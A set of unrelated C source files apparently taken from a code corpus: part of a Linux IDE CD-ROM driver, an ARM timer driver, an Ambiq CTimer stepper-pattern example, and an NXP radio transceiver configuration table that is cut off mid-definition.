u16 *id = drive->id;
char *fw_rev = (char *)&id[ATA_ID_FW_REV];
int nslots;
ide_debug_log(IDE_DBG_PROBE, "enter");
blk_queue_prep_rq(q, ide_cdrom_prep_fn);
blk_queue_dma_alignment(q, 31);
blk_queue_update_dma_pad(q, 15);
drive->dev_flags |= IDE_DFLAG_MEDIA_CHANGED;
drive->atapi_flags = IDE_AFLAG_NO_EJECT | ide_cd_flags(id);
if ((drive->atapi_flags & IDE_AFLAG_VERTOS_300_SSD) &&
fw_rev[4] == '1' && fw_rev[6] <= '2')
drive->atapi_flags |= (IDE_AFLAG_TOCTRACKS_AS_BCD |
IDE_AFLAG_TOCADDR_AS_BCD);
else if ((drive->atapi_flags & IDE_AFLAG_VERTOS_600_ESD) &&
fw_rev[4] == '1' && fw_rev[6] <= '2')
drive->atapi_flags |= IDE_AFLAG_TOCTRACKS_AS_BCD;
else if (drive->atapi_flags & IDE_AFLAG_SANYO_3CD)
/* 3 => use CD in slot 0 */
cdi->sanyo_slot = 3;
nslots = ide_cdrom_probe_capabilities(drive);
blk_queue_logical_block_size(q, CD_FRAMESIZE);
if (ide_cdrom_register(drive, nslots)) {
printk(KERN_ERR PFX "%s: %s failed to register device with the"
" cdrom driver.\n", drive->name, __func__);
cd->devinfo.handle = NULL;
return 1;
}
ide_proc_register_driver(drive, cd->driver);
return 0;
}
static void ide_cd_remove(ide_drive_t *drive)
{
struct cdrom_info *info = drive->driver_data;
ide_debug_log(IDE_DBG_FUNC, "enter");
ide_proc_unregister_driver(drive, info->driver);
device_del(&info->dev);
del_gendisk(info->disk);
mutex_lock(&idecd_ref_mutex);
put_device(&info->dev);
mutex_unlock(&idecd_ref_mutex);
}
static void ide_cd_release(struct device *dev)
{
struct cdrom_info *info = to_ide_drv(dev, cdrom_info);
struct cdrom_device_info *devinfo = &info->devinfo;
ide_drive_t *drive = info->drive;
struct gendisk *g = info->disk;
ide_debug_log(IDE_DBG_FUNC, "enter");
kfree(info->toc);
if (devinfo->handle == drive)
unregister_cdrom(devinfo);
drive->driver_data = NULL;
blk_queue_prep_rq(drive->queue, NULL);
g->private_data = NULL;
put_disk(g);
kfree(info);
}
static int ide_cd_probe(ide_drive_t *);
static struct ide_driver ide_cdrom_driver = {
.gen_driver = {
.owner = THIS_MODULE,
.name = "ide-cdrom",
.bus = &ide_bus_type,
},
.probe = ide_cd_probe,
.remove = ide_cd_remove,
.version = IDECD_VERSION,
.do_request = ide_cd_do_request,
#ifdef CONFIG_IDE_PROC_FS
.proc_entries = ide_cd_proc_entries,
.proc_devsets = ide_cd_proc_devsets,
#endif
};
static int idecd_open(struct block_device *bdev, fmode_t mode)
{
struct cdrom_info *info;
int rc = -ENXIO;
check_disk_change(bdev);
mutex_lock(&ide_cd_mutex);
info = ide_cd_get(bdev->bd_disk);
if (!info)
goto out;
rc = cdrom_open(&info->devinfo, bdev, mode);
if (rc < 0)
ide_cd_put(info);
out:
mutex_unlock(&ide_cd_mutex);
return rc;
}
static void idecd_release(struct gendisk *disk, fmode_t mode)
{
struct cdrom_info *info = ide_drv_g(disk, cdrom_info);
mutex_lock(&ide_cd_mutex);
cdrom_release(&info->devinfo, mode);
ide_cd_put(info);
mutex_unlock(&ide_cd_mutex);
}
static int idecd_set_spindown(struct cdrom_device_info *cdi, unsigned long arg)
{
struct packet_command cgc;
char buffer[16];
int stat;
char spindown;
if (copy_from_user(&spindown, (void __user *)arg, sizeof(char)))
return -EFAULT;
init_cdrom_command(&cgc, buffer, sizeof(buffer), CGC_DATA_UNKNOWN);
stat = cdrom_mode_sense(cdi, &cgc, GPMODE_CDROM_PAGE, 0);
if (stat)
return stat;
buffer[11] = (buffer[11] & 0xf0) | (spindown & 0x0f);
return cdrom_mode_select(cdi, &cgc);
}
static int idecd_get_spindown(struct cdrom_device_info *cdi, unsigned long arg)
{
struct packet_command cgc;
char buffer[16];
int stat;
char spindown;
init_cdrom_command(&cgc, buffer, sizeof(buffer), CGC_DATA_UNKNOWN);
stat = cdrom_mode_sense(cdi, &cgc, GPMODE_CDROM_PAGE, 0);
if (stat)
return stat;
spindown = buffer[11] & 0x0f;
if (copy_to_user((void __user *)arg, &spindown, sizeof(char)))
return -EFAULT;
return 0;
}
static int idecd_locked_ioctl(struct block_device *bdev, fmode_t mode,
unsigned int cmd, unsigned long arg)
{
struct cdrom_info *info = ide_drv_g(bdev->bd_disk, cdrom_info);
int err;
switch (cmd) {
case CDROMSETSPINDOWN:
return idecd_set_spindown(&info->devinfo, arg);
case CDROMGETSPINDOWN:
return idecd_get_spindown(&info->devinfo, arg);
default:
break;
}
err = generic_ide_ioctl(info->drive, bdev, cmd, arg);
if (err == -EINVAL)
err = cdrom_ioctl(&info->devinfo, bdev, mode, cmd, arg);
return err;
}
static int idecd_ioctl(struct block_device *bdev, fmode_t mode,
unsigned int cmd, unsigned long arg)
{
int ret;
mutex_lock(&ide_cd_mutex);
ret = idecd_locked_ioctl(bdev, mode, cmd, arg);
mutex_unlock(&ide_cd_mutex);
return ret;
}
static unsigned int idecd_check_events(struct gendisk *disk,
unsigned int clearing)
{
struct cdrom_info *info = ide_drv_g(disk, cdrom_info);
return cdrom_check_events(&info->devinfo, clearing);
}
static int idecd_revalidate_disk(struct gendisk *disk)
{
struct cdrom_info *info = ide_drv_g(disk, cdrom_info);
struct request_sense sense;
ide_cd_read_toc(info->drive, &sense);
return 0;
}
static const struct block_device_operations idecd_ops = {
.owner = THIS_MODULE,
.open = idecd_open,
.release = idecd_release,
.ioctl = idecd_ioctl,
.check_events = idecd_check_events,
.revalidate_disk = idecd_revalidate_disk
};
/* module options */
static unsigned long debug_mask;
module_param(debug_mask, ulong, 0644);
MODULE_DESCRIPTION("ATAPI CD-ROM Driver");
static int ide_cd_probe(ide_drive_t *drive)
{
struct cdrom_info *info;
struct gendisk *g;
struct request_sense sense;
ide_debug_log(IDE_DBG_PROBE, "driver_req: %s, media: 0x%x",
drive->driver_req, drive->media);
if (!strstr("ide-cdrom", drive->driver_req))
goto failed;
if (drive->media != ide_cdrom && drive->media != ide_optical)
goto failed;
drive->debug_mask = debug_mask;
drive->irq_handler = cdrom_newpc_intr;
info = kzalloc(sizeof(struct cdrom_info), GFP_KERNEL);
if (info == NULL) {
printk(KERN_ERR PFX "%s: Can't allocate a cdrom structure\n",
drive->name);
goto failed;
}
g = alloc_disk(1 << PARTN_BITS);
if (!g)
goto out_free_cd;
ide_init_disk(g, drive);
info->dev.parent = &drive->gendev;
info->dev.release = ide_cd_release;
dev_set_name(&info->dev, "%s", dev_name(&drive->gendev));
if (device_register(&info->dev))
goto out_free_disk;
info->drive = drive;
info->driver = &ide_cdrom_driver;
info->disk = g;
g->private_data = &info->driver;
drive->driver_data = info;
g->minors = 1;
g->flags = GENHD_FL_CD | GENHD_FL_REMOVABLE;
if (ide_cdrom_setup(drive)) {
put_device(&info->dev);
goto failed;
}
ide_cd_read_toc(drive, &sense);
g->fops = &idecd_ops;
g->flags |= GENHD_FL_REMOVABLE | GENHD_FL_BLOCK_EVENTS_ON_EXCL_WRITE;
device_add_disk(&drive->gendev, g);
return 0;
out_free_disk:
put_disk(g);
out_free_cd:
kfree(info);
failed:
return -ENODEV;
}
static void __exit ide_cdrom_exit(void)
{
driver_unregister(&ide_cdrom_driver.gen_driver);
}
static int __init ide_cdrom_init(void)
{
printk(KERN_INFO DRV_NAME " driver " IDECD_VERSION "\n");
return driver_register(&ide_cdrom_driver.gen_driver);
}
MODULE_ALIAS("ide:*m-cdrom*");
MODULE_ALIAS("ide-cd");
module_init(ide_cdrom_init);
module_exit(ide_cdrom_exit);
MODULE_LICENSE("GPL");
|
497902.c | #include "timer.h"
#include "irq.h"
// TxCTCR (Timer Counter Control Register)
#define TxCTCR_CNT_RISEDGE_PCLK (0<<0)
#define TxCTCR_CNT_RISEDGE_CAPX (1<<0)
#define TxCTCR_CNT_FALEDGE_PCLK (2<<0)
#define TxCTCR_CNT_FALEDGE_CAPX (3<<0)
#define TxCTCR_CNT_INPUT_CAPX_0 (0<<2)
#define TxCTCR_CNT_INPUT_CAPX_1 (1<<2)
#define TxCTCR_CNT_INPUT_CAPX_2 (2<<2)
#define TxCTCR_CNT_INPUT_CAPX_3 (3<<2)
// TxTCR (Timer Control Register)
#define TxTCR_COUNTER_ENABLE (1<<0)
#define TxTCR_COUNTER_RESET (1<<1)
// TxMCR (Match Control Register)
#define TxMCR_INT_ON_MR0 (1<<0) // MR0
#define TxMCR_RESET_ON_MR0 (1<<1)
#define TxMCR_STOP_ON_MR0 (1<<2)
#define TxMCR_INT_ON_MR1 (1<<3) // MR1
#define TxMCR_RESET_ON_MR1 (1<<4)
#define TxMCR_STOP_ON_MR1 (1<<5)
#define TxMCR_INT_ON_MR2 (1<<6) // MR2
#define TxMCR_RESET_ON_MR2 (1<<7)
#define TxMCR_STOP_ON_MR2 (1<<8)
#define TxMCR_INT_ON_MR3 (1<<9) // MR3
#define TxMCR_RESET_ON_MR3 (1<<10)
#define TxMCR_STOP_ON_MR3 (1<<11)
// TxIR (Interrupt Register)
#define TxIR_MR0_FLAG (1<<0)
#define TxIR_MR1_FLAG (1<<1)
#define TxIR_MR2_FLAG (1<<2)
#define TxIR_MR3_FLAG (1<<3)
#define TxIR_CR0_FLAG (1<<4)
#define TxIR_CR1_FLAG (1<<5)
#define TxIR_CR2_FLAG (1<<6)
#define TxIR_CR3_FLAG (1<<7)
/* timer_wait_ms
* wait for ms millisecoonds function
*/
void timer_wait_ms(TIMER *tmr, uint32_t ms)
{
uint32_t tmp;
tmr->CTCR = TxCTCR_CNT_RISEDGE_PCLK; // count on rising edgle of pclk
tmr->TCR = TxTCR_COUNTER_RESET; // timer stop and reset
tmp = tmr->MR[0] = ms; // Compare-hit with ms
tmr->MCR = TxMCR_STOP_ON_MR0; // Stop on MR0
tmr->PR = Fpclk/1000;
tmr->IR = 0xFF; // Reset IRQ flags
tmr->TCR=TxTCR_COUNTER_ENABLE; // count
while (tmr->TC!=tmp); // wait until count is done
}
/* timer_wait_us
* wait for us microsecoonds function
*/
void timer_wait_us(TIMER *tmr, uint32_t us)
{
uint32_t tmp;
tmr->CTCR = TxCTCR_CNT_RISEDGE_PCLK; // count on rising edgle of pclk
tmr->TCR = TxTCR_COUNTER_RESET; // timer stop and reset
tmp = tmr->MR[0] = us; // Compare-hit with us
tmr->MCR = TxMCR_STOP_ON_MR0; // Stop on MR0
tmr->PR = Fpclk/1000000;
tmr->IR = 0xFF; // Reset IRQ flags
tmr->TCR=TxTCR_COUNTER_ENABLE; // count
while (tmr->TC!=tmp); // wait until count is done
}
/* timerX_isr
* timerX ISR (Interrupt Service Routine)
*/
static OnTick callback0=0;
static OnTick callback1=0;
#ifdef __IRQ_HANDLER__
void timer0_isr()
{
if (callback0) callback0();
_TIMER0->IR = TxIR_MR0_FLAG; // Clear interrupt flag by writing 1 to Bit 0
}
void timer1_isr()
{
if (callback1) callback1();
_TIMER1->IR = TxIR_MR0_FLAG; // Clear interrupt flag by writing 1 to Bit 0
}
#else
__attribute__((interrupt("IRQ"))) void timer0_isr()
{
if (callback0) callback0();
_TIMER0->IR = TxIR_MR0_FLAG; // Clear interrupt flag by writing 1 to Bit 0
_VIC->VectAddr=0;
}
__attribute__((interrupt("IRQ"))) void timer1_isr()
{
if (callback1) callback1();
_TIMER1->IR = TxIR_MR0_FLAG; // Clear interrupt flag by writing 1 to Bit 0
_VIC->VectAddr=0;
}
#endif
/* timer0_timeout_init
* timer0 configured to generate periodic interrupts
*/
int timer_tick_init(TIMER *tmr, uint32_t ms, OnTick cb)
{
tmr->CTCR = TxCTCR_CNT_RISEDGE_PCLK; // count on rising edgle of pclk
tmr->TCR = TxTCR_COUNTER_RESET; // timer stop and reset
tmr->MR[0] = ms; // Compare-hit at mSec
tmr->MCR = TxMCR_INT_ON_MR0 | TxMCR_RESET_ON_MR0; // Interrupt and Reset on MR0
tmr->PR = Fpclk/1000;
tmr->IR = 0xFF; // Reset IRQ flags
_VIC->VectAddr=0;
if (tmr==_TIMER0) {
if (cb) callback0=cb;
irq_register_slot(IRQ_CHANNEL_TIMER0,IRQ_TIMER0_SLOT,(Handler_t)timer0_isr);
return 1;
} else if (tmr==_TIMER1) {
if (cb) callback1=cb;
irq_register_slot(IRQ_CHANNEL_TIMER1,IRQ_TIMER1_SLOT,(Handler_t)timer1_isr);
return 1;
}
return 0;
}
/* timer_oneshot_init
* timer configured to generate one shot wait time
*/
int timer_oneshot_init(TIMER *tmr, uint32_t ms, OnTick cb)
{
tmr->CTCR = TxCTCR_CNT_RISEDGE_PCLK; // count on rising edgle of pclk
tmr->TCR = TxTCR_COUNTER_RESET; // timer stop and reset
tmr->MR[0] = ms; // Compare-hit at mSec
tmr->MCR = TxMCR_INT_ON_MR0 | TxMCR_RESET_ON_MR0 | TxMCR_STOP_ON_MR0; // Interrupt and Reset and stop on MR0
tmr->PR = Fpclk/1000;
tmr->IR = 0xFF; // Reset IRQ flags
_VIC->VectAddr=0;
if (tmr==_TIMER0) {
if (cb) callback0=cb;
irq_register_slot(IRQ_CHANNEL_TIMER0,IRQ_TIMER0_SLOT,(Handler_t)timer0_isr);
return 1;
} else if (tmr==_TIMER1) {
if (cb) callback1=cb;
irq_register_slot(IRQ_CHANNEL_TIMER1,IRQ_TIMER1_SLOT,(Handler_t)timer1_isr);
return 1;
}
return 0;
}
/* timer_tick_init
* setup timer to call cb function periodically, each tick_ms
*/
void timer_start(TIMER *tmr)
{
tmr->TCR=TxTCR_COUNTER_ENABLE;
}
/* timer_stop
* stop and reset counting
*/
void timer_stop(TIMER *tmr)
{
tmr->TCR=TxTCR_COUNTER_RESET;
}
|
61603.c | //*****************************************************************************
//
//! @file ctimer_stepper_synch_64bit_pattern.c
//!
//! @brief CTimer Stepper Motor Synchronized 64 bit Pattern Example
//!
//! Purpose: This example demonstrates how to create arbitrary patterns on
//! CTimer. TMR0 A is used to create base timing for the pattern.
//! and TMR1 A is configured to trigger on TMR0.
//! All timers are configured to run and then synchronized off of
//! the global timer enable.
//!
//! Printing takes place over the ITM at 1M Baud.
//!
//! Additional Information:
//! The patterns are output as follows:
//! Pin12 - TMR0 A trigger pulse
//! Pin18 - TMR1 A pattern
//!
//*****************************************************************************
//*****************************************************************************
//
// Copyright (c) 2020, Ambiq Micro, Inc.
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
//
// 3. Neither the name of the copyright holder nor the names of its
// contributors may be used to endorse or promote products derived from this
// software without specific prior written permission.
//
// Third party software included in this distribution is subject to the
// additional license terms as defined in the /docs/licenses directory.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//
// This is part of revision 2.5.1 of the AmbiqSuite Development Package.
//
//*****************************************************************************
#include "am_mcu_apollo.h"
#include "am_bsp.h"
#include "am_util.h"
#define TRIG_GPIO 12
#define PATTERN_GPIO 18
//*****************************************************************************
//
// Stepper Pattern helper functions.
//
//*****************************************************************************
void
initialize_trigger_counter(void)
{
//
// Set up timer A0.
//
am_hal_ctimer_clear(0, AM_HAL_CTIMER_TIMERA);
am_hal_ctimer_config_single(0, AM_HAL_CTIMER_TIMERA,
(AM_HAL_CTIMER_FN_REPEAT |
AM_HAL_CTIMER_LFRC_32HZ) );
//
// Set the A0 Timer period to /32 or 1Hz.
//
am_hal_ctimer_period_set(0, AM_HAL_CTIMER_TIMERA, 32, 0);
//
// Configure timer A0 output on pin #12.
//
am_hal_ctimer_output_config(0, AM_HAL_CTIMER_TIMERA, TRIG_GPIO,
AM_HAL_CTIMER_OUTPUT_NORMAL,
AM_HAL_GPIO_PIN_DRIVESTRENGTH_12MA);
//
// Start the timer.
//
am_hal_ctimer_start(0, AM_HAL_CTIMER_TIMERA);
}
void
initialize_pattern_counter(uint32_t ui32TimerNumber,
uint32_t ui32TimerSegment,
uint64_t ui64Pattern,
uint32_t ui32PatternLen,
uint32_t ui32Trigger,
uint32_t ui32OutputPin,
uint32_t ui32PatternClock)
{
//
// Set up timer.
//
am_hal_ctimer_clear(ui32TimerNumber, ui32TimerSegment);
am_hal_ctimer_config_single(ui32TimerNumber, ui32TimerSegment,
(AM_HAL_CTIMER_FN_PTN_ONCE |
ui32PatternClock) );
//
// Set the pattern in the CMPR registers.
//
am_hal_ctimer_compare_set(ui32TimerNumber, ui32TimerSegment, 0,
(uint32_t)(ui64Pattern & 0xFFFF));
am_hal_ctimer_compare_set(ui32TimerNumber, ui32TimerSegment, 1,
(uint32_t)((ui64Pattern >> 16) & 0xFFFF));
am_hal_ctimer_aux_compare_set(ui32TimerNumber, ui32TimerSegment, 0,
(uint32_t)((ui64Pattern >> 32) & 0xFFFF));
am_hal_ctimer_aux_compare_set(ui32TimerNumber, ui32TimerSegment, 1,
(uint32_t)((ui64Pattern >> 48) & 0xFFFF));
//
// Set the timer trigger and pattern length.
//
am_hal_ctimer_config_trigger(ui32TimerNumber, ui32TimerSegment,
( (ui32PatternLen << CTIMER_AUX0_TMRA0LMT_Pos) |
( ui32Trigger << CTIMER_AUX0_TMRA0TRIG_Pos) ) );
//
// Configure timer output pin.
//
am_hal_ctimer_output_config(ui32TimerNumber, ui32TimerSegment, ui32OutputPin,
AM_HAL_CTIMER_OUTPUT_NORMAL,
AM_HAL_GPIO_PIN_DRIVESTRENGTH_12MA);
//
// Start the timer.
//
am_hal_ctimer_start(ui32TimerNumber, ui32TimerSegment);
}
void
global_disable(void)
{
CTIMER->GLOBEN = 0x0;
}
void
global_enable(void)
{
CTIMER->GLOBEN = 0xffff;
}
//*****************************************************************************
//
// Main function.
//
//*****************************************************************************
int
main(void)
{
//
// Set the clock frequency.
//
am_hal_clkgen_control(AM_HAL_CLKGEN_CONTROL_SYSCLK_MAX, 0);
//
// Set the default cache configuration
//
am_hal_cachectrl_config(&am_hal_cachectrl_defaults);
am_hal_cachectrl_enable();
//
// Configure the board for low power operation.
//
am_bsp_low_power_init();
//
// Among other things, am_bsp_low_power_init() stops the XT oscillator,
// which is needed for this example.
//
am_hal_clkgen_control(AM_HAL_CLKGEN_CONTROL_LFRC_START, 0);
//
// Initialize the printf interface for ITM/SWO output.
//
am_bsp_itm_printf_enable();
//
// Clear the terminal and print the banner.
//
am_util_stdio_terminal_clear();
am_util_stdio_printf("CTimer 64 bits pattern example\n");
//
// We are done printing. Disable debug printf messages on ITM.
//
am_bsp_debug_printf_disable();
//
// Disable all the counters.
//
global_disable();
//
// Set up the base counter controlling the pattern overall period (1Hz).
//
initialize_trigger_counter();
initialize_pattern_counter(1, AM_HAL_CTIMER_TIMERA, 0x2222222222222222,
63, CTIMER_AUX1_TMRA1TRIG_A0OUT, PATTERN_GPIO,
AM_HAL_CTIMER_LFRC_512HZ);
//
// Enable all the counters.
//
global_enable();
//
// Sleep forever while waiting for an interrupt.
//
while (1)
{
//
// Go to Deep Sleep.
//
am_hal_sysctrl_sleep(AM_HAL_SYSCTRL_SLEEP_DEEP);
}
} // main()
|
516673.c | /*
* Copyright 2016-2017 NXP
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* o Redistributions of source code must retain the above copyright notice, this list
* of conditions and the following disclaimer.
*
* o Redistributions in binary form must reproduce the above copyright notice, this
* list of conditions and the following disclaimer in the documentation and/or
* other materials provided with the distribution.
*
* o Neither the name of Freescale Semiconductor, Inc. nor the names of its
* contributors may be used to endorse or promote products derived from this
* software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "fsl_xcvr.h"
/*******************************************************************************
* Definitions
******************************************************************************/
/*******************************************************************************
* Prototypes
******************************************************************************/
/*******************************************************************************
* Variables
******************************************************************************/
/*******************************************************************************
* Code
******************************************************************************/
/* MODE only configuration */
const xcvr_mode_config_t gfsk_bt_0p5_h_0p5_mode_config =
{
.radio_mode = GFSK_BT_0p5_h_0p5,
.scgc5_clock_ena_bits = SIM_SCGC5_PHYDIG_MASK | SIM_SCGC5_GEN_FSK_MASK,
/* XCVR_MISC configs */
.xcvr_ctrl.mask = XCVR_CTRL_XCVR_CTRL_PROTOCOL_MASK |
XCVR_CTRL_XCVR_CTRL_TGT_PWR_SRC_MASK |
XCVR_CTRL_XCVR_CTRL_DEMOD_SEL_MASK,
.xcvr_ctrl.init = XCVR_CTRL_XCVR_CTRL_PROTOCOL(8) |
XCVR_CTRL_XCVR_CTRL_TGT_PWR_SRC(7) |
XCVR_CTRL_XCVR_CTRL_DEMOD_SEL(1),
.phy_pre_ref0_init = RW0PS(0, 0x19) |
RW0PS(1, 0x19U) |
RW0PS(2, 0x1AU) |
RW0PS(3, 0x1BU) |
RW0PS(4, 0x1CU) |
RW0PS(5, 0x1CU) |
RW0PS(6, 0x1DU & 0x3U), /* Phase info #6 overlaps two initialization words */
.phy_pre_ref1_init = (0x1D) >> 2 | /* Phase info #6 overlaps two initialization words - manually compute the shift*/
RW1PS(7, 0x1EU) |
RW1PS(8, 0x1EU) |
RW1PS(9, 0x1EU) |
RW1PS(10, 0x1DU) |
RW1PS(11, 0x1CU) |
RW1PS(12, 0x1CU & 0xFU), /* Phase info #12 overlaps two initialization words */
.phy_pre_ref2_init = (0x1C) >> 4 | /* Phase info #12 overlaps two initialization words - manually compute the shift*/
RW2PS(13, 0x1BU) |
RW2PS(14, 0x1AU) |
RW2PS(15, 0x19U),
.phy_cfg1_init = XCVR_PHY_CFG1_AA_PLAYBACK(1) |
XCVR_PHY_CFG1_AA_OUTPUT_SEL(1) |
XCVR_PHY_CFG1_FSK_BIT_INVERT(0) |
XCVR_PHY_CFG1_BSM_EN_BLE(0) |
XCVR_PHY_CFG1_DEMOD_CLK_MODE(0) |
XCVR_PHY_CFG1_CTS_THRESH(205) |
XCVR_PHY_CFG1_FSK_FTS_TIMEOUT(2),
.phy_el_cfg_init = XCVR_PHY_EL_CFG_EL_ENABLE(1)
#if !RADIO_IS_GEN_2P1
| XCVR_PHY_EL_CFG_EL_ZB_ENABLE(0)
#endif /* !RADIO_IS_GEN_2P1 */
,
/* XCVR_RX_DIG configs */
.rx_dig_ctrl_init_26mhz = XCVR_RX_DIG_RX_DIG_CTRL_RX_FSK_ZB_SEL(0) | /* Depends on protocol */
XCVR_RX_DIG_RX_DIG_CTRL_RX_DC_RESID_EN(1) | /* Depends on protocol */
XCVR_RX_DIG_RX_DIG_CTRL_RX_SRC_RATE(0),
.rx_dig_ctrl_init_32mhz = XCVR_RX_DIG_RX_DIG_CTRL_RX_FSK_ZB_SEL(0) | /* Depends on protocol */
XCVR_RX_DIG_RX_DIG_CTRL_RX_DC_RESID_EN(1), /* Depends on protocol */
.agc_ctrl_0_init = XCVR_RX_DIG_AGC_CTRL_0_AGC_DOWN_RSSI_THRESH(0xFF),
/* XCVR_TSM configs */
#if (DATA_PADDING_EN)
.tsm_timing_35_init = B0(TX_DIG_EN_ASSERT+TX_DIG_EN_TX_HI_ADJ),
#else
.tsm_timing_35_init = B0(TX_DIG_EN_ASSERT),
#endif /* (DATA_PADDING_EN) */
/* XCVR_TX_DIG configs */
.tx_gfsk_ctrl = XCVR_TX_DIG_GFSK_CTRL_GFSK_MULTIPLY_TABLE_MANUAL(0x4000) |
XCVR_TX_DIG_GFSK_CTRL_GFSK_MI(1) |
XCVR_TX_DIG_GFSK_CTRL_GFSK_MLD(0) |
XCVR_TX_DIG_GFSK_CTRL_GFSK_FLD(0) |
XCVR_TX_DIG_GFSK_CTRL_GFSK_MOD_INDEX_SCALING(0) |
XCVR_TX_DIG_GFSK_CTRL_TX_IMAGE_FILTER_OVRD_EN(0) |
XCVR_TX_DIG_GFSK_CTRL_TX_IMAGE_FILTER_0_OVRD(0) |
XCVR_TX_DIG_GFSK_CTRL_TX_IMAGE_FILTER_1_OVRD(0) |
XCVR_TX_DIG_GFSK_CTRL_TX_IMAGE_FILTER_2_OVRD(0),
.tx_gfsk_coeff1_26mhz = 0,
.tx_gfsk_coeff2_26mhz = 0,
.tx_gfsk_coeff1_32mhz = 0,
.tx_gfsk_coeff2_32mhz = 0,
};
/* MODE & DATA RATE combined configuration */
const xcvr_mode_datarate_config_t xcvr_GFSK_BT_0p5_h_0p5_1mbps_config =
{
.radio_mode = GFSK_BT_0p5_h_0p5,
.data_rate = DR_1MBPS,
.ana_sy_ctrl2.mask = XCVR_ANALOG_SY_CTRL_2_SY_VCO_KVM_MASK,
.ana_sy_ctrl2.init = XCVR_ANALOG_SY_CTRL_2_SY_VCO_KVM(0), /* VCO KVM */
.ana_rx_bba.mask = XCVR_ANALOG_RX_BBA_RX_BBA_BW_SEL_MASK | XCVR_ANALOG_RX_BBA_RX_BBA2_BW_SEL_MASK,
.ana_rx_bba.init = XCVR_ANALOG_RX_BBA_RX_BBA_BW_SEL(4) | XCVR_ANALOG_RX_BBA_RX_BBA2_BW_SEL(4), /* BBA_BW_SEL and BBA2_BW_SEL */
.ana_rx_tza.mask = XCVR_ANALOG_RX_TZA_RX_TZA_BW_SEL_MASK,
.ana_rx_tza.init = XCVR_ANALOG_RX_TZA_RX_TZA_BW_SEL(4), /*TZA_BW_SEL */
.phy_cfg2_init = XCVR_PHY_CFG2_PHY_FIFO_PRECHG(8) |
XCVR_PHY_CFG2_X2_DEMOD_GAIN(0xA) ,
/* AGC configs */
.agc_ctrl_2_init_26mhz = XCVR_RX_DIG_AGC_CTRL_2_BBA_GAIN_SETTLE_TIME(10) |
XCVR_RX_DIG_AGC_CTRL_2_BBA_PDET_SEL_LO(5) |
XCVR_RX_DIG_AGC_CTRL_2_BBA_PDET_SEL_HI(6) |
XCVR_RX_DIG_AGC_CTRL_2_TZA_PDET_SEL_LO(3) |
XCVR_RX_DIG_AGC_CTRL_2_TZA_PDET_SEL_HI(7) |
XCVR_RX_DIG_AGC_CTRL_2_AGC_FAST_EXPIRE(5),
.agc_ctrl_2_init_32mhz = XCVR_RX_DIG_AGC_CTRL_2_BBA_GAIN_SETTLE_TIME(12) |
XCVR_RX_DIG_AGC_CTRL_2_BBA_PDET_SEL_LO(5) |
XCVR_RX_DIG_AGC_CTRL_2_BBA_PDET_SEL_HI(6) |
XCVR_RX_DIG_AGC_CTRL_2_TZA_PDET_SEL_LO(3) |
XCVR_RX_DIG_AGC_CTRL_2_TZA_PDET_SEL_HI(7) |
XCVR_RX_DIG_AGC_CTRL_2_AGC_FAST_EXPIRE(5),
/* BLE 26MHz Channel Filter */
/* All constant values are represented as 16 bits, register writes will remove unused bits */
.rx_chf_coeffs_26mhz.rx_chf_coef_0 = 0xFFFA,
.rx_chf_coeffs_26mhz.rx_chf_coef_1 = 0xFFF6,
.rx_chf_coeffs_26mhz.rx_chf_coef_2 = 0xFFF1,
.rx_chf_coeffs_26mhz.rx_chf_coef_3 = 0xFFEE,
.rx_chf_coeffs_26mhz.rx_chf_coef_4 = 0xFFEF,
.rx_chf_coeffs_26mhz.rx_chf_coef_5 = 0xFFF6,
.rx_chf_coeffs_26mhz.rx_chf_coef_6 = 0x0004,
.rx_chf_coeffs_26mhz.rx_chf_coef_7 = 0x0017,
.rx_chf_coeffs_26mhz.rx_chf_coef_8 = 0x002F,
.rx_chf_coeffs_26mhz.rx_chf_coef_9 = 0x0046,
.rx_chf_coeffs_26mhz.rx_chf_coef_10 = 0x0059,
.rx_chf_coeffs_26mhz.rx_chf_coef_11 = 0x0063,
/* BLE 32MHz Channel Filter */
.rx_chf_coeffs_32mhz.rx_chf_coef_0 = 0xFFFA,
.rx_chf_coeffs_32mhz.rx_chf_coef_1 = 0xFFF5,
